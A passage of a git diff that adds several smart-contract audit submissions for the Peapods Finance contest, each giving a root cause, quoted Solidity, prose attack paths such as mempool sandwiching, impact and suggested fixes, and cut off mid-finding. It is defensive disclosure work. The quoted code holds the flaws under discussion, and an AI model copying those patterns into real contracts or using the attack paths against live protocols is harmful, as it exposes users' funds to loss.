+# Incorrect Fee Deduction in `_tokenToPodLp` Can Lead to Irrecoverable User Fund Loss
+
+In the [_tokenToPodLp](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/AutoCompoundingPodLp.sol#L233-L247) function, the contract deducts protocol fees before ensuring a successful conversion of `_pairedOut` to `_lpAmtOut`. Specifically, the fee is calculated and subtracted from `_pairedOut` before calling `_pairedLpTokenToPodLp(_pairedOut, _deadline)`, which is responsible for swapping paired LP tokens into Pod LP tokens. If `_pairedLpTokenToPodLp` fails due to slippage, insufficient liquidity, or oracle pricing issues, the deducted fee is never refunded to the user, leading to a permanent loss of funds. Also, `_protocolFees` is updated based on an assumed successful transaction, potentially leading to incorrect protocol fee balances. The problematic code snippet is:
+
+```solidity
+ function _tokenToPodLp(address _token, uint256 _amountIn, uint256 _amountLpOutMin, uint256 _deadline)
+ internal
+ returns (uint256 _lpAmtOut)
+ {
+ uint256 _pairedOut = _tokenToPairedLpToken(_token, _amountIn);
+ if (_pairedOut > 0) {
+ uint256 _pairedFee = (_pairedOut * protocolFee) / 1000;
+ if (_pairedFee > 0) {
+ _protocolFees += _pairedFee;
+ _pairedOut -= _pairedFee;
+ }
+ _lpAmtOut = _pairedLpTokenToPodLp(_pairedOut, _deadline);
+ require(_lpAmtOut >= _amountLpOutMin, "M");
+ }
+ }
+```
+Here, `_pairedFee` is deducted before confirming that `_pairedLpTokenToPodLp` successfully converts `_pairedOut` to `_lpAmtOut`, causing a discrepancy where fees are lost if the function reverts or returns zero.
+
+## Impact
+User funds can be permanently lost if the `_pairedLpTokenToPodLp` function fails, as the deducted fee is neither refunded nor properly accounted for.
+
+## Mitigation
+Ensure fee deduction occurs only after `_pairedLpTokenToPodLp` successfully returns a nonzero `_lpAmtOut`, preventing loss in case of transaction failure.
\ No newline at end of file
diff --git a/339.md b/339.md
new file mode 100644
index 0000000..6000a4c
--- /dev/null
+++ b/339.md
@@ -0,0 +1,99 @@
+Warm Cedar Hippo
+
+Medium
+
+# Liquidators Will Not Get Their Bonus Collateral or Lose Money When they Liquidate
+
+### Summary
+
+The missing check for whether the `cleanLiquidationFee` or `dirtyLiquidationFee` is included in the final amount of collateral transferred to the liquidator causes the liquidators to get less fees than they were promised, or in some cases actually come to a net negative balance by getting `0%` fees.
+
+### Root Cause
+
+The [`liquidate`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L1100) function allows a third party to repay a borrower's debt if they have become insolvent. The liquidators get paid a percentage of collateral as fees when they liquidate the position as a bonus:
+```solidity
+function liquidate(uint128 _sharesToLiquidate, uint256 _deadline, address _borrower)
+ ...
+
+ uint256 _optimisticCollateralForLiquidator =
+@> (_liquidationAmountInCollateralUnits * (LIQ_PRECISION + cleanLiquidationFee)) / LIQ_PRECISION;
+
+ _leftoverCollateral = (_userCollateralBalance.toInt256() - _optimisticCollateralForLiquidator.toInt256());
+
+ _collateralForLiquidator = _leftoverCollateral <= 0
+ ? _userCollateralBalance
+@> : (_liquidationAmountInCollateralUnits * (LIQ_PRECISION + dirtyLiquidationFee)) / LIQ_PRECISION;
+
+ if (protocolLiquidationFee > 0) {
+ _feesAmount = (protocolLiquidationFee * _collateralForLiquidator) / LIQ_PRECISION;
+ _collateralForLiquidator = _collateralForLiquidator - _feesAmount;
+```
+
+This bonus is calculated as either the `cleanLiquidationFee` or the `dirtyLiquidationFee` (as shown above) depending on whether the liquidator liquidates the entire position or only a partial position.
+
+The problem lies in the snippet of lines below (taken from the function above):
+```solidity
+ _collateralForLiquidator = _leftoverCollateral <= 0
+@> ? _userCollateralBalance
+ : (_liquidationAmountInCollateralUnits * (LIQ_PRECISION + dirtyLiquidationFee)) / LIQ_PRECISION;
+```
+
+If the `_leftoverCollateral <= 0`, then the `_collateralForLiquidator` is set to the `_userCollateralBalance`. This is done to ensure that if the liquidator is performing a full liquidation, then they should get all the collateral the borrower has. But, this is where the liquidator might be underpaid for their liquidations. If the entire position of the borrower is less than the sum of underlying collateral and the bonus collateral, the liquidator suffers a loss.
+
+The function does not make any adjustments to the amount of loan tokens the liquidator needs to pay back in case the entire collateral of the borrower is unable to pay the bonus collateral.
+
+### Internal Pre-conditions
+
+1. The `maxLTV` of a Pair is set to `100 - maxLTV ≲ liquidationFees`.
+2. Borrower takes out a loan.
+3. Borrower's loan becomes insolvent.
+4. Liquidator calls the liquidation but get less amount of bonus collateral than specified by the protocol.
+
+### External Pre-conditions
+
+1. The borrower's loan becomes insolvent due to various external factors.
+
+### Attack Path
+
+Take the following situation as an example:
+* A loan's `maxLTV` is `95%`, and the `cleanLiquidationFee` is `6%`.
+* The loan while being liquidated has `100` assets, and `105.26` collateral. For simplicity, let's say that the exchange rate is `1:1`.
+* This gives `LTV = 95%`. This will trigger liquidation.
+
+While the position is being liquidated, the following code will trigger:
+```solidity
+uint256 _optimisticCollateralForLiquidator = (_liquidationAmountInCollateralUnits * (LIQ_PRECISION + cleanLiquidationFee)) / LIQ_PRECISION;
+```
+
+Which will give: $100 * 1.06 = 106$.
+So, they deserve `106` collateral (which includes the bonus fee) for liquidating the entire position.
+
+The following code will then trigger:
+```solidity
+_leftoverCollateral = (_userCollateralBalance.toInt256() - _optimisticCollateralForLiquidator.toInt256());
+
+_collateralForLiquidator = _leftoverCollateral <= 0 ? _userCollateralBalance : (_liquidationAmountInCollateralUnits * (LIQ_PRECISION + dirtyLiquidationFee)) / LIQ_PRECISION;
+```
+
+The `_collateralForLiquidator` will be set to `_userCollateralBalance` because this will be a full liquidation. So, the liquidator gets transferred the `_userCollateralBalance`.
+
+So, in summary the liquidator will see the following:
+* They transfer in `100` assets, and get `105.26` collateral back.
+* They were promised a `6%` bonus when they agreed to liquidate, which should come out to `106` collateral.
+* Hence, they suffered a $6 - 5.26 = 0.74$% loss. (Note: $(105.26-100)/100 = 5.26%$)
+
+`0.74%` loss is a noticeable amount of loss for the liquidator.
+
+Now, let's consider if a position has a maxLTV of `100%`. This means that the liquidator will get `0%` bonus and actually lose money due to gas costs.
+
+### Impact
+
+The liquidators are promised a percentage of collateral bonus when they agree to liquidate a position. This is not true in certain situations, and their loss will be higher than `0.1%` up to the total bonus rate being the highest amount of loss possible (example, if the liquidation bonus is 10%, they might have a maximum of 10% loss).
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+_No response_
\ No newline at end of file
diff --git a/340.md b/340.md
new file mode 100644
index 0000000..b657a3b
--- /dev/null
+++ b/340.md
@@ -0,0 +1,102 @@
+Bumpy Hemp Cuckoo
+
+High
+
+# Incorrect ratio calculation in `LendingAssetVault.sol` will cause asset loss for depositors
+
+
+## Summary
+Incorrect ratio calculation in `LendingAssetVault.sol` will cause asset loss for depositors as the tracked total assets become lower than actual value when CBR decreases
+
+## Root Cause
+In [`LendingAssetVault.sol:294`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/LendingAssetVault.sol#L294) there is an incorrect calculation of vault asset ratio change when CBR decreases:
+```solidity
+ function _updateAssetMetadataFromVault(address _vault) internal {
+ uint256 _prevVaultCbr = _vaultWhitelistCbr[_vault];
+ _vaultWhitelistCbr[_vault] = IERC4626(_vault).convertToAssets(PRECISION);
+ if (_prevVaultCbr == 0) {
+ return;
+ }
+ uint256 _vaultAssetRatioChange = _prevVaultCbr > _vaultWhitelistCbr[_vault]
+-> ? ((PRECISION * _prevVaultCbr) / _vaultWhitelistCbr[_vault]) - PRECISION
+ : ((PRECISION * _vaultWhitelistCbr[_vault]) / _prevVaultCbr) - PRECISION;
+
+ uint256 _currentAssetsUtilized = vaultUtilization[_vault];
+ uint256 _changeUtilizedState = (_currentAssetsUtilized * _vaultAssetRatioChange) / PRECISION;
+ vaultUtilization[_vault] = _prevVaultCbr > _vaultWhitelistCbr[_vault]
+ ? _currentAssetsUtilized < _changeUtilizedState ? 0 : _currentAssetsUtilized - _changeUtilizedState
+ : _currentAssetsUtilized + _changeUtilizedState;
+ _totalAssetsUtilized = _totalAssetsUtilized - _currentAssetsUtilized + vaultUtilization[_vault];
+ _totalAssets = _totalAssets - _currentAssetsUtilized + vaultUtilization[_vault];
+ emit UpdateAssetMetadataFromVault(_vault, _totalAssets, _totalAssetsUtilized);
+ }
+```
+
+When CBR decreases (previous > current), the formula `a/b - 1` is used instead of the correct `1 - b/a`. Since `1 - b/a` < `a/b - 1`, this results in a larger reduction of total assets than should occur.
+
+## Internal pre-conditions
+1. Vault utilization must be `1e18`
+2. Initial CBR must be `1e27`
+3. CBR must decrease to `0.9e27`
+
+## Impact
+Depositors suffer asset value loss whenever CBR decreases. Using the pre-conditions above:
+- `_vaultAssetRatioChange` becomes `1e27 * 1e27 / 0.9e27 - 1e27 = 0.11..1e27`
+- Final total assets incorrectly reduce to `0.88..89e18` instead of proper value
+
+## Mitigation
+Update ratio calculation in affected functions:
+
+```solidity
+ function _updateAssetMetadataFromVault(address _vault) internal {
+ uint256 _prevVaultCbr = _vaultWhitelistCbr[_vault];
+ _vaultWhitelistCbr[_vault] = IERC4626(_vault).convertToAssets(PRECISION);
+ if (_prevVaultCbr == 0) {
+ return;
+ }
+ uint256 _vaultAssetRatioChange = _prevVaultCbr > _vaultWhitelistCbr[_vault]
+- ? ((PRECISION * _prevVaultCbr) / _vaultWhitelistCbr[_vault]) - PRECISION
++ ? PRECISION - ((PRECISION * _vaultWhitelistCbr[_vault]) / _prevVaultCbr)
+ : ((PRECISION * _vaultWhitelistCbr[_vault]) / _prevVaultCbr) - PRECISION;
+
+ uint256 _currentAssetsUtilized = vaultUtilization[_vault];
+ uint256 _changeUtilizedState = (_currentAssetsUtilized * _vaultAssetRatioChange) / PRECISION;
+ vaultUtilization[_vault] = _prevVaultCbr > _vaultWhitelistCbr[_vault]
+ ? _currentAssetsUtilized < _changeUtilizedState ? 0 : _currentAssetsUtilized - _changeUtilizedState
+ : _currentAssetsUtilized + _changeUtilizedState;
+ _totalAssetsUtilized = _totalAssetsUtilized - _currentAssetsUtilized + vaultUtilization[_vault];
+ _totalAssets = _totalAssets - _currentAssetsUtilized + vaultUtilization[_vault];
+ emit UpdateAssetMetadataFromVault(_vault, _totalAssets, _totalAssetsUtilized);
+ }
+```
+
+And similarly for `_previewAddInterestAndMdInAllVaults()`:
+
+```solidity
+ function _previewAddInterestAndMdInAllVaults() internal view returns (uint256 _previewTotalAssets) {
+ _previewTotalAssets = _totalAssets;
+ uint256 _l = _vaultWhitelistAry.length;
+ for (uint256 _i; _i < _l; _i++) {
+ address _vault = _vaultWhitelistAry[_i];
+ uint256 _prevVaultCbr = _vaultWhitelistCbr[_vault];
+ if (_prevVaultCbr == 0) {
+ continue;
+ }
+
+ // the following effectively simulates addInterest + convertToAssets
+ (,,,, VaultAccount memory _totalAsset,) = IFraxlendPair(_vault).previewAddInterest();
+ uint256 _newVaultCbr = _totalAsset.toAmount(PRECISION, false);
+
+ uint256 _vaultAssetRatioChange = _prevVaultCbr > _newVaultCbr
+- ? ((PRECISION * _prevVaultCbr) / _newVaultCbr) - PRECISION
++ ? PRECISION - ((PRECISION * _newVaultCbr) / _prevVaultCbr)
+ : ((PRECISION * _newVaultCbr) / _prevVaultCbr) - PRECISION;
+ uint256 _currentAssetsUtilized = vaultUtilization[_vault];
+ uint256 _changeUtilizedState = (_currentAssetsUtilized * _vaultAssetRatioChange) / PRECISION;
+ uint256 _newAssetsUtilized = _prevVaultCbr > _newVaultCbr
+ ? _currentAssetsUtilized < _changeUtilizedState ? 0 : _currentAssetsUtilized - _changeUtilizedState
+ : _currentAssetsUtilized + _changeUtilizedState;
+ _previewTotalAssets = _previewTotalAssets - _currentAssetsUtilized + _newAssetsUtilized;
+ }
+ }
+```
diff --git a/341.md b/341.md
new file mode 100644
index 0000000..f7f81fb
--- /dev/null
+++ b/341.md
@@ -0,0 +1,53 @@
+Bumpy Hemp Cuckoo
+
+High
+
+# Missing slippage protection will enable sandwich attacks on protocol fees
+
+
+## Summary
+A lack of slippage protection in fee swapping will cause a loss of protocol fees as malicious actors can perform sandwich attacks on fee swap transactions.
+
+## Root Cause
+In [`DecentralizedIndex.sol:L232`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/DecentralizedIndex.sol#L232), there is no minimum output amount check (slippage protection) during the swap of protocol fees. The `swapV2Single` function is called with a minimum output of 0:
+
+```solidity
+ function _feeSwap(uint256 _amount) internal {
+ _approve(address(this), address(DEX_HANDLER), _amount);
+ address _rewards = IStakingPoolToken(lpStakingPool).POOL_REWARDS();
+ uint256 _pairedLpBalBefore = IERC20(PAIRED_LP_TOKEN).balanceOf(_rewards);
+-> DEX_HANDLER.swapV2Single(address(this), PAIRED_LP_TOKEN, _amount, 0, _rewards);
+
+ if (PAIRED_LP_TOKEN == lpRewardsToken) {
+ uint256 _newPairedLpTkns = IERC20(PAIRED_LP_TOKEN).balanceOf(_rewards) - _pairedLpBalBefore;
+ if (_newPairedLpTkns > 0) {
+ ITokenRewards(_rewards).depositRewardsNoTransfer(PAIRED_LP_TOKEN, _newPairedLpTkns);
+ }
+ } else if (IERC20(PAIRED_LP_TOKEN).balanceOf(_rewards) > 0) {
+ ITokenRewards(_rewards).depositFromPairedLpToken(0);
+ }
+ }
+```
+
+## Internal pre-conditions
+1. Protocol needs to have accumulated fees ready for swapping
+2. `_feeSwap` function needs to be called with a non-zero amount
+
+## External pre-conditions
+1. DEX liquidity pool needs to have sufficient liquidity for the swap
+
+## Attack Path
+1. Attacker monitors mempool for `_feeSwap` transactions
+2. When detected, attacker frontruns with a large swap to manipulate price unfavorably
+3. Protocol's fee swap executes at manipulated price
+4. Attacker backruns to restore price and profit from the manipulation
+
+## Impact
+The protocol suffers a loss of value during fee swaps due to unfavorable exchange rates. The attacker gains a portion of the swapped fees through the price manipulation.
+
+## Mitigation
+Implement slippage protection by:
+1. Getting expected output amount from an oracle or calculated price impact
+2. Setting appropriate minimum output amount in `swapV2Single` call
+3. Add slippage parameter to ensure minimum received tokens meet expectations
+
diff --git a/342.md b/342.md
new file mode 100644
index 0000000..f53ef6c
--- /dev/null
+++ b/342.md
@@ -0,0 +1,76 @@
+Bumpy Hemp Cuckoo
+
+High
+
+# Yield Conversion will Fail in `AutoCompoundingPodLp`
+
+
+## Summary
+Incorrect balance consideration in `_pairedSwapAmt` calculation will cause a reversion of `indexUtils.addLPAndStake` through slippage protection as the protocol fails to properly convert yield to staking pool assets in `AutoCompoundingPodLp`.
+
+## Root Cause
+In [`AutoCompoundingPodLp.sol:L313`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L313) the calculation of `_pairedSwapAmt` fails to account for existing pod balances, leading to incorrect swap amounts:
+
+```solidity
+ function _pairedLpTokenToPodLp(uint256 _amountIn, uint256 _deadline) internal returns (uint256 _amountOut) {
+ address _pairedLpToken = pod.PAIRED_LP_TOKEN();
+313-> uint256 _pairedSwapAmt = _getSwapAmt(_pairedLpToken, address(pod), _pairedLpToken, _amountIn);
+ uint256 _pairedRemaining = _amountIn - _pairedSwapAmt;
+ uint256 _minPtknOut;
+ if (address(podOracle) != address(0)) {
+ // calculate the min out with 5% slippage
+ _minPtknOut = (
+ podOracle.getPodPerBasePrice() * _pairedSwapAmt * 10 ** IERC20Metadata(address(pod)).decimals() * 95
+ ) / 10 ** IERC20Metadata(_pairedLpToken).decimals() / 10 ** 18 / 100;
+ }
+ IERC20(_pairedLpToken).safeIncreaseAllowance(address(DEX_ADAPTER), _pairedSwapAmt);
+323-> try DEX_ADAPTER.swapV2Single(_pairedLpToken, address(pod), _pairedSwapAmt, _minPtknOut, address(this)) returns (
+ uint256 _podAmountOut
+ ) {
+ // reset here to local balances to accommodate any residual leftover from previous runs
+327-> _podAmountOut = pod.balanceOf(address(this));
+ _pairedRemaining = IERC20(_pairedLpToken).balanceOf(address(this)) - _protocolFees;
+ IERC20(pod).safeIncreaseAllowance(address(indexUtils), _podAmountOut);
+ IERC20(_pairedLpToken).safeIncreaseAllowance(address(indexUtils), _pairedRemaining);
+ try indexUtils.addLPAndStake(
+332-> pod, _podAmountOut, _pairedLpToken, _pairedRemaining, _pairedRemaining, lpSlippage, _deadline
+ ) returns (uint256 _lpTknOut) {
+ _amountOut = _lpTknOut;
+ } catch {
+ IERC20(pod).safeDecreaseAllowance(address(indexUtils), _podAmountOut);
+ IERC20(_pairedLpToken).safeDecreaseAllowance(address(indexUtils), _pairedRemaining);
+ emit AddLpAndStakeError(address(pod), _amountIn);
+ }
+ } catch {
+ IERC20(_pairedLpToken).safeDecreaseAllowance(address(DEX_ADAPTER), _pairedSwapAmt);
+ emit AddLpAndStakeV2SwapError(_pairedLpToken, address(pod), _pairedRemaining);
+ }
+ }
+```
+
+## Internal pre-conditions
+1. Contract must have residual `pod` token balance from previous operations
+2. New yield must be accrued in `pairedLpToken`
+
+## Attack Path
+1. Contract accrues new yield in `pairedLpToken`
+2. `_pairedLpTokenToPodLp` is called to convert yield
+3. `_getSwapAmt` calculates swap amount without considering existing pod balance
+4. After swap, the ratio between pod and pairedLpToken becomes imbalanced
+5. `indexUtils.addLPAndStake` reverts due to slippage protection
+
+## Impact
+The protocol fails to convert accrued yields into stakeable assets, resulting in lost rewards for depositors.
+
+## PoC
+Given the following scenario:
+1. Contract has 1e18 pod tokens initially
+2. Pool ratio is 1:1 (pod:pairedLpToken)
+3. 2e18 pairedLpToken accrues as yield
+4. Swap calculation returns 1e18 as swap amount
+5. Final balances: 2e18 pod tokens and 1e18 pairedLpToken
+6. Transaction reverts due to 2:1 ratio mismatch with pool's 1:1 ratio
+
+## Mitigation
+Modify `_getSwapAmt` calculation to include existing pod balance when determining optimal swap amounts.
+
diff --git a/343.md b/343.md
new file mode 100644
index 0000000..56417a1
--- /dev/null
+++ b/343.md
@@ -0,0 +1,89 @@
+Bumpy Hemp Cuckoo
+
+High
+
+# Lack of slippage protection will cause loss of user funds
+
+
+## Summary
+The absence of slippage checks in `AutoCompoundingPodLp.sol` will cause loss of funds for users as attackers will sandwich user transactions during swaps.
+
+## Root Cause
+In [`AutoCompoundingPodLp.sol:L266`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L266), [`AutoCompoundingPodLp.sol:L284`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L284), critical swapping operations are executed without any slippage protection:
+
+```solidity
+
+ function _tokenToPairedLpToken(address _token, uint256 _amountIn) internal returns (uint256 _amountOut) {
+ address _pairedLpToken = pod.PAIRED_LP_TOKEN();
+ address _swapOutputTkn = _pairedLpToken;
+ if (_token == _pairedLpToken) {
+ return _amountIn;
+ } else if (maxSwap[_token] > 0 && _amountIn > maxSwap[_token]) {
+ _amountIn = maxSwap[_token];
+ }
+
+ // if self lending pod, we need to swap for the lending pair borrow token,
+ // then deposit into the lending pair which is the paired LP token for the pod
+ if (IS_PAIRED_LENDING_PAIR) {
+ _swapOutputTkn = IFraxlendPair(_pairedLpToken).asset();
+ }
+
+ address _rewardsToken = pod.lpRewardsToken();
+ if (_token != _rewardsToken) {
+-> _amountOut = _swap(_token, _swapOutputTkn, _amountIn, 0);
+ if (IS_PAIRED_LENDING_PAIR) {
+ _amountOut = _depositIntoLendingPair(_pairedLpToken, _swapOutputTkn, _amountOut);
+ }
+ return _amountOut;
+ }
+ uint256 _amountInOverride = _tokenToPairedSwapAmountInOverride[_rewardsToken][_swapOutputTkn];
+ if (_amountInOverride > 0) {
+ _amountIn = _amountInOverride;
+ }
+ uint256 _minSwap = 10 ** (IERC20Metadata(_rewardsToken).decimals() / 2);
+ _minSwap = _minSwap == 0 ? 10 ** IERC20Metadata(_rewardsToken).decimals() : _minSwap;
+ IERC20(_rewardsToken).safeIncreaseAllowance(address(DEX_ADAPTER), _amountIn);
+ try DEX_ADAPTER.swapV3Single(
+ _rewardsToken,
+ _swapOutputTkn,
+ REWARDS_POOL_FEE,
+ _amountIn,
+-> 0, // _amountOutMin can be 0 because this is nested inside of function with LP slippage provided
+ address(this)
+ ) returns (uint256 __amountOut) {
+ _tokenToPairedSwapAmountInOverride[_rewardsToken][_swapOutputTkn] = 0;
+ _amountOut = __amountOut;
+
+ // if this is a self-lending pod, convert the received borrow token
+ // into fTKN shares and use as the output since it's the pod paired LP token
+ if (IS_PAIRED_LENDING_PAIR) {
+ _amountOut = _depositIntoLendingPair(_pairedLpToken, _swapOutputTkn, _amountOut);
+ }
+ } catch {
+ _tokenToPairedSwapAmountInOverride[_rewardsToken][_swapOutputTkn] =
+ _amountIn / 2 < _minSwap ? _minSwap : _amountIn / 2;
+ IERC20(_rewardsToken).safeDecreaseAllowance(address(DEX_ADAPTER), _amountIn);
+ emit TokenToPairedLpSwapError(_rewardsToken, _swapOutputTkn, _amountIn);
+ }
+ }
+```
+
+## Internal pre-conditions
+1. The contract must have sufficient tokens to swap
+2. Functions `deposit`, `mint`, `withdraw`, or `redeem` must be called with any amount
+
+## Attack Path
+1. Attacker monitors the mempool for transactions calling target functions
+2. When a victim transaction is detected, attacker performs:
+ - Front-run with price manipulation transaction
+ - Let victim transaction execute with unfavorable rate
+ - Back-run to restore prices and collect profit
+
+## Impact
+Users suffer significant losses on their deposits/withdrawals due to sandwich attacks. The attacker gains the price difference between the manipulated and actual market rates.
+
+## Mitigation
+Implement dynamic slippage protection using:
+1. Oracle-based price verification
+2. Minimum output amount checks for all swaps
+3. Allow users to specify maximum slippage tolerance
diff --git a/344.md b/344.md
new file mode 100644
index 0000000..728e757
--- /dev/null
+++ b/344.md
@@ -0,0 +1,105 @@
+Bumpy Hemp Cuckoo
+
+High
+
+# Fee-on-transfer pod configuration will cause `PodUnwrapLocker.sol#debondAndLock()` to revert
+
+
+## Summary
+An incorrect handling of fee-on-transfer tokens will cause transaction reverts in the locking process for users as the `PodUnwrapLocker` contract fails to account for transfer fees during debonding operations.
+
+## Root Cause
+In [`PodUnwrapLocker.sol#debondAndLock()`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/PodUnwrapLocker.sol#L60-L97), the contract does not account for the discrepancy between the transferred amount and received amount when the pod implements a fee-on-transfer mechanism.
+
+```solidity
+ function debondAndLock(address _pod, uint256 _amount) external nonReentrant {
+ require(_amount > 0, "D1");
+ require(_pod != address(0), "D2");
+
+-> IERC20(_pod).safeTransferFrom(_msgSender(), address(this), _amount);
+
+ IDecentralizedIndex _podContract = IDecentralizedIndex(_pod);
+ IDecentralizedIndex.IndexAssetInfo[] memory _podTokens = _podContract.getAllAssets();
+ address[] memory _tokens = new address[](_podTokens.length);
+ uint256[] memory _balancesBefore = new uint256[](_tokens.length);
+
+ // Get token addresses and balances before debonding
+ for (uint256 i = 0; i < _tokens.length; i++) {
+ _tokens[i] = _podTokens[i].token;
+ _balancesBefore[i] = IERC20(_tokens[i]).balanceOf(address(this));
+ }
+-> _podContract.debond(_amount, new address[](0), new uint8[](0));
+
+ uint256[] memory _receivedAmounts = new uint256[](_tokens.length);
+ for (uint256 i = 0; i < _tokens.length; i++) {
+ _receivedAmounts[i] = IERC20(_tokens[i]).balanceOf(address(this)) - _balancesBefore[i];
+ }
+
+ IDecentralizedIndex.Config memory _podConfig = _podContract.config();
+ uint256 _lockId = currentLockId++;
+ locks[_lockId] = LockInfo({
+ user: _msgSender(),
+ pod: _pod,
+ tokens: _tokens,
+ amounts: _receivedAmounts,
+ unlockTime: block.timestamp + _podConfig.debondCooldown,
+ withdrawn: false
+ });
+
+ emit LockCreated(
+ _lockId, _msgSender(), _pod, _tokens, _receivedAmounts, block.timestamp + _podConfig.debondCooldown
+ );
+ }
+```
+
+The pod's transfer fee mechanism is implemented in `DecentralizedIndex.sol#_update()`:
+
+```solidity
+ function _update(address _from, address _to, uint256 _amount) internal override {
+ require(!_blacklist[_to], "BK");
+ bool _buy = _from == V2_POOL && _to != V2_ROUTER;
+ bool _sell = _to == V2_POOL;
+ uint256 _fee;
+ if (_swapping == 0 && _swapAndFeeOn == 1) {
+ if (_from != V2_POOL) {
+ _processPreSwapFeesAndSwap();
+ }
+ if (_buy && _fees.buy > 0) {
+ _fee = (_amount * _fees.buy) / DEN;
+ super._update(_from, address(this), _fee);
+ } else if (_sell && _fees.sell > 0) {
+ _fee = (_amount * _fees.sell) / DEN;
+ super._update(_from, address(this), _fee);
+-> } else if (!_buy && !_sell && _config.hasTransferTax) {
+-> _fee = _amount / 10000; // 0.01%
+-> _fee = _fee == 0 && _amount > 0 ? 1 : _fee;
+-> super._update(_from, address(this), _fee);
+ }
+ }
+ _processBurnFee(_fee);
+-> super._update(_from, _to, _amount - _fee);
+ }
+```
+
+## Internal Pre-conditions
+1. Pod contract needs to have `hasTransferTax` enabled in its configuration
+2. User needs to attempt debonding and locking operation with fee-on-transfer enabled pod
+
+## Impact
+Users cannot utilize the debond and lock functionality when the pod is configured with transfer fees, effectively blocking a core protocol feature.
+
+## Mitigation
+Update `PodUnwrapLocker.sol#debondAndLock()` to account for received amount after transfer:
+
+```solidity
+ function debondAndLock(address _pod, uint256 _amount) external nonReentrant {
+ require(_amount > 0, "D1");
+ require(_pod != address(0), "D2");
+
++ uint256 balanceBefore = IERC20(_pod).balanceOf(address(this));
+ IERC20(_pod).safeTransferFrom(_msgSender(), address(this), _amount);
++ _amount = IERC20(_pod).balanceOf(address(this)) - balanceBefore;
+
+ ....................................
+ }
+```
diff --git a/345.md b/345.md
new file mode 100644
index 0000000..f354575
--- /dev/null
+++ b/345.md
@@ -0,0 +1,93 @@
+Bumpy Hemp Cuckoo
+
+High
+
+# `DecentralizedIndex.sol#_update()` recursive calls will cause excessive fee application
+
+
+## Summary
+A recursive call pattern in the `_update()` function will cause excessive fee charges for users as the protocol will recursively apply fees during token transfers, buys and sells.
+
+## Root Cause
+In [`DecentralizedIndex.sol:L180`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/DecentralizedIndex.sol#L180), the `_update()` function triggers recursive calls through the fee processing flow:
+
+```solidity
+ function _update(address _from, address _to, uint256 _amount) internal override {
+ require(!_blacklist[_to], "BK");
+ bool _buy = _from == V2_POOL && _to != V2_ROUTER;
+ bool _sell = _to == V2_POOL;
+ uint256 _fee;
+ if (_swapping == 0 && _swapAndFeeOn == 1) {
+ if (_from != V2_POOL) {
+ _processPreSwapFeesAndSwap();
+ }
+ if (_buy && _fees.buy > 0) {
+ _fee = (_amount * _fees.buy) / DEN;
+ super._update(_from, address(this), _fee);
+ } else if (_sell && _fees.sell > 0) {
+ _fee = (_amount * _fees.sell) / DEN;
+ super._update(_from, address(this), _fee);
+ } else if (!_buy && !_sell && _config.hasTransferTax) {
+ _fee = _amount / 10000; // 0.01%
+-> _fee = _fee == 0 && _amount > 0 ? 1 : _fee;
+ super._update(_from, address(this), _fee);
+ }
+ }
+180-> _processBurnFee(_fee);
+ super._update(_from, _to, _amount - _fee);
+ }
+```
+
+The recursion occurs through `_processBurnFee()`:
+
+```solidity
+ function _processBurnFee(uint256 _amtToProcess) internal {
+ if (_amtToProcess == 0 || _fees.burn == 0) {
+ return;
+ }
+ uint256 _burnAmt = (_amtToProcess * _fees.burn) / DEN;
+ _totalSupply -= _burnAmt;
+-> _burn(address(this), _burnAmt); // reentrant to _update()
+ }
+```
+
+## Internal pre-conditions
+1. `_swapping` must be `0`
+2. `_swapAndFeeOn` must be `1`
+3. Fee must be greater than `0`
+
+## Impact
+Users will pay significantly higher fees than intended due to recursive fee application. In transfer tax scenarios, transactions may consistently revert due to the minimum fee logic preventing fee from reaching zero, creating an infinite recursion.
+
+## Mitigation
+Add reentrancy protection to `_update()`:
+
+```solidity
+ function _update(address _from, address _to, uint256 _amount) internal override {
+ require(!_blacklist[_to], "BK");
+ bool _buy = _from == V2_POOL && _to != V2_ROUTER;
+ bool _sell = _to == V2_POOL;
+ uint256 _fee;
+- if (_swapping == 0 && _swapAndFeeOn == 1) {
++ if (_swapping == 0 && _swapAndFeeOn == 1 && !update_entered) {
+ if (_from != V2_POOL) {
+ _processPreSwapFeesAndSwap();
+ }
+ if (_buy && _fees.buy > 0) {
+ _fee = (_amount * _fees.buy) / DEN;
+ super._update(_from, address(this), _fee);
+ } else if (_sell && _fees.sell > 0) {
+ _fee = (_amount * _fees.sell) / DEN;
+ super._update(_from, address(this), _fee);
+ } else if (!_buy && !_sell && _config.hasTransferTax) {
+ _fee = _amount / 10000; // 0.01%
+ _fee = _fee == 0 && _amount > 0 ? 1 : _fee;
+ super._update(_from, address(this), _fee);
+ }
+ }
++ update_entered = true;
+ _processBurnFee(_fee);
++ update_entered = false;
+ super._update(_from, _to, _amount - _fee);
+ }
+```
diff --git a/346.md b/346.md
new file mode 100644
index 0000000..36ce26f
--- /dev/null
+++ b/346.md
@@ -0,0 +1,70 @@
+Bumpy Hemp Cuckoo
+
+High
+
+# Protocol will lose funds due to fee-on-transfer handling in `WeightedIndex.sol#debond()`
+
+
+## Summary
+Missing fee-on-transfer handling in `WeightedIndex.sol#debond()` will cause fund loss for the protocol as the accounting becomes incorrect when fee-on-transfer tokens are involved.
+
+## Root Cause
+In [`WeightedIndex.sol#debond()`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/WeightedIndex.sol#L175-L196), the function uses the input amount for accounting without checking the actual received amount after fee-on-transfer:
+
+```solidity
+ function debond(uint256 _amount, address[] memory, uint8[] memory) external override lock noSwapOrFee {
+-> uint256 _amountAfterFee = _isLastOut(_amount) || REWARDS_WHITELIST.isWhitelistedFromDebondFee(_msgSender())
+ ? _amount
+-> : (_amount * (DEN - _fees.debond)) / DEN;
